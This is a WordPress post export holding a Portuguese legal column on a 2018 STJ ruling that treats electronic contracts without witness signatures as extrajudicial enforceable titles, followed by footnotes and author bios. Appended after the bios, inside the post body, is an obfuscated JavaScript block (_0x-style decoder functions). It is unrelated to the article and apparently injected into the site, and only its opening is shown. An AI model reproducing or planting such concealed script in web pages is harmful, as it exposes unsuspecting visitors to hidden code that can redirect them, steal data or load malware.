{"id":934,"date":"2018-06-08T14:16:20","date_gmt":"2018-06-08T17:16:20","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-contratos-eletronicos-reconhecidos-como-titulos-executivos-extrajudiciais\/"},"modified":"2018-06-08T14:16:20","modified_gmt":"2018-06-08T17:16:20","slug":"artigo-contratos-eletronicos-reconhecidos-como-titulos-executivos-extrajudiciais","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-contratos-eletronicos-reconhecidos-como-titulos-executivos-extrajudiciais\/","title":{"rendered":"Artigo &#8211; Contratos eletr\u00f4nicos reconhecidos como t\u00edtulos executivos extrajudiciais"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Prezados leitores do JOTA,<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O tema desta coluna diz respeito ao reconhecimento dos contratos eletr&ocirc;nicos como t&iacute;tulos executivos extrajudiciais, consoante recente ac&oacute;rd&atilde;o da Terceira Turma do Superior Tribunal de Justi&ccedil;a, no &acirc;mbito do Recurso Especial 1.495.920\/DF, em sess&atilde;o ocorrida no &uacute;ltimo dia 15 de maio de 2018.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Como &eacute; sabido, no rol dos t&iacute;tulos executivos extrajudiciais, contido no art. 784 do C&oacute;digo de Processo Civil, consta no inciso III o documento particular assinado pelo devedor e por 2 (duas) testemunhas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Historicamente, as confiss&otilde;es de d&iacute;vida entre particulares eram vedadas anteriormente ao C&oacute;digo de 1973, visto que o art. 1&deg;, &sect;10, do Decreto-lei n. 1.042\/69 indicava que tais somente dariam oportunidade &agrave; execu&ccedil;&atilde;o quando feitas por instrumento p&uacute;blico.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; No CPC de 1973, tais documentos constaram no elenco de t&iacute;tulos executivos extrajudiciais, conforme previs&atilde;o do art. 585, II, daquele diploma.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Trata-se de hip&oacute;tese bem ampla, de sorte que qualquer documento particular que esteja assinado pelo devedor e por duas testemunhas ostenta a condi&ccedil;&atilde;o de t&iacute;tulo executivo, desde que a obriga&ccedil;&atilde;o nele representada seja certa, l&iacute;quida e exig&iacute;vel (1).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Os contratos firmados em meio eletr&ocirc;nico, n&atilde;o de hoje, s&atilde;o uma realidade da qual n&atilde;o se pode afastar. Um claro exemplo disso &eacute; o fato de o CPC\/2015 haver tratado dos documentos eletr&ocirc;nicos como meio de prova t&iacute;pico, desgarrados da prova documental comum, nos termos dos arts. 439 a 441.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; As mais variadas rela&ccedil;&otilde;es comerciais e contratuais s&atilde;o hoje pactuadas por meio digital, desde uma simples compra de passagem a&eacute;rea at&eacute; grandes contratos entre empresas nacionais e internacionais, com valores expressivos e obriga&ccedil;&otilde;es de relevo e impacto. O meio magn&eacute;tico vem substituindo, paulatinamente, o meio &ldquo;papel&rdquo; como suporte de informa&ccedil;&otilde;es e origem das rela&ccedil;&otilde;es de cr&eacute;dito (2).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Se as rela&ccedil;&otilde;es digitais s&atilde;o uma realidade, os problemas que delas decorrem tamb&eacute;m o s&atilde;o. Se h&aacute; inadimplemento em contratos firmados &ldquo;no papel&rdquo;, com assinatura real e presencial, tamb&eacute;m h&aacute; nos contratos eletr&ocirc;nicos, raz&atilde;o pela qual surgiram os inevit&aacute;veis questionamentos sobre a possibilidade de se considerar ditos contratos como t&iacute;tulos h&aacute;beis &agrave; execu&ccedil;&atilde;o, ou se seria necess&aacute;ria a propositura de a&ccedil;&atilde;o de conhecimento, para gerar o t&iacute;tulo executivo judicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Um dos grandes entraves para o reconhecimento dos contratos eletr&ocirc;nicos como t&iacute;tulos executivos extrajudiciais sempre foi a falta de assinatura de testemunhas, o que geraria a aus&ecirc;ncia do requisito da certeza. O entendimento era o de que a assinatura de duas testemunhas integrava a subst&acirc;ncia do documento particular (3).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O STJ manifestava, ainda na vig&ecirc;ncia do C&oacute;digo anterior, posicionamento no sentido de que, na falta da assinatura das testemunhas, n&atilde;o haveria t&iacute;tulo executivo (4).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em raz&atilde;o disso, sempre foi comum, diante da resist&ecirc;ncia de nossas Cortes, o ajuizamento de a&ccedil;&otilde;es de conhecimento, ou ao menos de a&ccedil;&otilde;es monit&oacute;rias, com o fito de constituir o t&iacute;tulo executivo, afastando qualquer d&uacute;vida acerca da presen&ccedil;a do requisito da certeza, de modo a viabilizar a satisfa&ccedil;&atilde;o do cr&eacute;dito.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ao que parece, a decis&atilde;o do STJ, tomada por sua 3&ordf; Turma, no Recurso Especial n. 1.495.920\/DF, tem um valor muito significativo, que indica uma mudan&ccedil;a relevante de posicionamento do referido Tribunal Superior.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Obviamente, &eacute; de se destacar que n&atilde;o se cuidou de recurso afetado pela sistem&aacute;tica dos repetitivos, de modo que n&atilde;o h&aacute; for&ccedil;a de precedente obrigat&oacute;rio, n&atilde;o havendo que se falar nem que esse &eacute; o entendimento atual do STJ, j&aacute; que firmado por apenas uma de suas composi&ccedil;&otilde;es fracion&aacute;rias. Mas parece indicar &ndash; e &eacute; isso que se espera &ndash; um caminho sem volta no reconhecimento de tal esp&eacute;cie de documento como detentor de for&ccedil;a executiva.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; No caso concreto &ndash; at&eacute; o fechamento desta coluna o inteiro teor do ac&oacute;rd&atilde;o ainda n&atilde;o havia sido objeto de publica&ccedil;&atilde;o -, o recurso especial foi apresentado pela Funda&ccedil;&atilde;o dos Economi&aacute;rios Federais &ndash; FUNCEF. No Tribunal de Justi&ccedil;a do Distrito Federal, foi negado o direito &agrave; execu&ccedil;&atilde;o daquele documento, exatamente tomando como base a ideia de que a aus&ecirc;ncia de assinatura de testemunhas retirava a possibilidade de inclus&atilde;o no rol dos t&iacute;tulos extrajudiciais.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O relator no STJ, ministro Paulo de Tarso Sanseverino, sustentou em seu voto que era poss&iacute;vel a execu&ccedil;&atilde;o da d&iacute;vida com base em contrato digital, fazendo a sua equipara&ccedil;&atilde;o aos contratos assinados em papel.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para o ministro relator, a assinatura digital constante no contrato confere autenticidade e veracidade ao documento, de modo que a aus&ecirc;ncia de testemunhas, por si s&oacute;, n&atilde;o deveria afastar a executividade do contrato eletr&ocirc;nico. Ainda de acordo com o relator, &eacute; de se reconhecer a import&acirc;ncia econ&ocirc;mica e social desses acordos, que s&atilde;o bastante comuns nas institui&ccedil;&otilde;es financeiras.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Tal ac&oacute;rd&atilde;o se deu por maioria de votos, de modo que os ministros Marco Aur&eacute;lio Bellize e Moura Ribeiro acompanharam o relator, divergindo apenas o ministro Ricardo Villas B&ocirc;as Cueva. A ministra Nancy Andrighi n&atilde;o participou do julgamento, por estar impedida.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ao que tudo indica, na busca pela aten&ccedil;&atilde;o &agrave; nova realidade das rela&ccedil;&otilde;es comerciais e contratuais, bem como em respeito &agrave; efetividade na presta&ccedil;&atilde;o jurisdicional, dita decis&atilde;o visou a afastar a celeuma quanto &agrave; necessidade da assinatura das testemunhas como elemento fundamental para a certeza do t&iacute;tulo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para que servem, afinal, as testemunhas? Ora, a finalidade da exig&ecirc;ncia legal &eacute; para que, na hip&oacute;tese de o devedor alegar algum v&iacute;cio de vontade nos embargos &agrave; execu&ccedil;&atilde;o, serem as testemunhas convocadas para depor em ju&iacute;zo (5). O STJ entende que n&atilde;o se faz necess&aacute;rio que as testemunhas sejam presenciais, podendo ser instrument&aacute;rias, isto &eacute;, assinar depois mesmo sem terem assistido ao ato de celebra&ccedil;&atilde;o do neg&oacute;cio (6).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Sendo assim, a rigor, n&atilde;o h&aacute; concretamente a necessidade de que as testemunhas tenham assinado presencialmente e conjuntamente com o devedor. O que parece relevante &eacute; que as testemunhas, acaso chamadas em ju&iacute;zo, tenham condi&ccedil;&otilde;es de expressar o que sabem sobre a celebra&ccedil;&atilde;o daquele neg&oacute;cio jur&iacute;dico, e isso &ndash; a nosso ver &ndash; independe de o documento conter as respectivas assinaturas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para tanto, a se admitir, como fez o STJ, o contrato eletr&ocirc;nico como t&iacute;tulo extrajudicial, caso o devedor queira a ele se opor, deve faz&ecirc;-lo pela via dos embargos. Se nos embargos, a defesa &eacute; ampla, e se admite a produ&ccedil;&atilde;o de prova testemunhal, as testemunhas poder&atilde;o ser arroladas por ambas as partes, a fim de demonstrarem a exist&ecirc;ncia ou n&atilde;o do t&iacute;tulo, bem como a presen&ccedil;a de seus requisitos.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; As vantagens para os exequentes s&atilde;o, por &oacute;bvio, enormes. A se imaginar que os ju&iacute;zes e tribunais inferiores passem a seguir tal linha de racioc&iacute;nio, os credores deixar&atilde;o de necessitar da propositura de a&ccedil;&otilde;es cognitivas para a satisfa&ccedil;&atilde;o de seus cr&eacute;ditos.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Por vezes, era comum se observar contratos digitais cujos credores demandavam a assinatura &ldquo;f&iacute;sica&rdquo; do devedor (mesmo j&aacute; constando assinatura digital) e de testemunhas, a fim de evitar que tais documentos tivessem a sua certeza questionada pela parte adversa numa eventual execu&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Estamos, por assim dizer, diante de uma verdadeira mudan&ccedil;a de paradigma em mat&eacute;ria de execu&ccedil;&atilde;o. J&aacute; era tempo de o STJ se adequar a uma nova realidade, em que boa parte das rela&ccedil;&otilde;es comerciais e contratuais s&atilde;o travadas em meio digital.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ainda que a decis&atilde;o aqui analisada n&atilde;o se constitua em precedente com for&ccedil;a obrigat&oacute;ria, &eacute; de se confiar que em n&atilde;o muito tempo dito entendimento passe a ser objeto tamb&eacute;m das decis&otilde;es de outras turmas do STJ e dos &oacute;rg&atilde;os jurisdicionais inferiores. Burocracia e formalidade em excesso n&atilde;o combinam com o mundo digital. E a Justi&ccedil;a n&atilde;o pode fechar os olhos para isso.<br \/>\n&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;<br \/>\n1 DIDIER Jr., Fredie; CUNHA, Leonardo Carneiro da; BRAGA, Paula Sarno; OLIVEIRA, Rafael Alexandria de. Curso de direito processual civil: execu&ccedil;&atilde;o. Salvador: Jus Podivm, 7. Ed., 2017, p. 296.<\/p>\n<p style=\"text-align: justify;\">2 PEIXOTO, Marco Aur&eacute;lio Ventura. Documentos eletr&ocirc;nicos: a desmaterializa&ccedil;&atilde;o dos t&iacute;tulos de cr&eacute;dito. Revista Jus Navigandi, ISSN 1518-4862, Teresina, ano 6, n. 52, 1 nov. 2001. Dispon&iacute;vel em: &lt;https:\/\/jus.com.br\/artigos\/2361&gt;. Acesso em: 21 maio 2018.<\/p>\n<p style=\"text-align: justify;\">3 ASSIS, Araken. Manual da Execu&ccedil;&atilde;o. S&atilde;o Paulo: Editora Revista dos Tribunais, 15. Ed., 2013, p. 195.<\/p>\n<p style=\"text-align: justify;\">4 RESP 11.745\/RS, Rel. Ministro Bueno de Souza, 4&ordf; Turma, julg. 30.11.1992.<\/p>\n<p style=\"text-align: justify;\">5 DIDIER Jr., Fredie; CUNHA, Leonardo Carneiro da; BRAGA, Paula Sarno; OLIVEIRA, Rafael Alexandria de. Curso de direito processual civil: execu&ccedil;&atilde;o. Salvador: Jus Podivm, 7. Ed., 2017, p. 297.<\/p>\n<p style=\"text-align: justify;\">6 RESP 541.267\/RJ, Relator Ministro Jorge Scartezzini, 4&ordf; Turma, julg. 20.09.2005, DJ 17.10.2005.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Marco Aur&eacute;lio Peixoto<\/strong> &ndash; Advogado da Uni&atilde;o. Mestre em Direito P&uacute;blico pela Universidade Federal de Pernambuco &ndash; UFPE. Especialista em Direito P&uacute;blico pela UnB. Membro do Instituto Brasileiro de Direito Processual &ndash; IBDP. Associado Fundador da ANNEP &#8211; Associa&ccedil;&atilde;o Norte e Nordeste de Professores de Processo, Professor Honor&aacute;rio da Escola Superior da Advocacia Ruy da OAB\/PE, da Gradua&ccedil;&atilde;o em Direito da Faculdade Est&aacute;cio do Recife, das Especializa&ccedil;&otilde;es em Direito Processual Civil da Faculdade Est&aacute;cio do Recife, Facesf e Espa&ccedil;o Jur&iacute;dico. Vice-Diretor da Escola da AGU na 5 Regi&atilde;o. Conselheiro Seccional da OAB\/PE<\/p>\n<p style=\"text-align: justify;\"><strong>Rodrigo Becker<\/strong> &ndash; Advogado da Uni&atilde;o. Mestre em Direito pela UnB. Ex-Procurador-Geral da Uni&atilde;o. Diretor da Escola Superior de Advocacia da OAB\/DF. Professor da Gradua&ccedil;&atilde;o e da P&oacute;s-Gradua&ccedil;&atilde;o do IDP em Bras&iacute;lia e Goi&acirc;nia e da P&oacute;s-Gradua&ccedil;&atilde;o da Atame. Membro-fundador e Vice-Presidente da ABPC (Associa&ccedil;&atilde;o Brasiliense de Direito Processual Civil). Membro da ABDPro (Associa&ccedil;&atilde;o Brasileira de Direito Processual)<\/p>\n<p>&nbsp;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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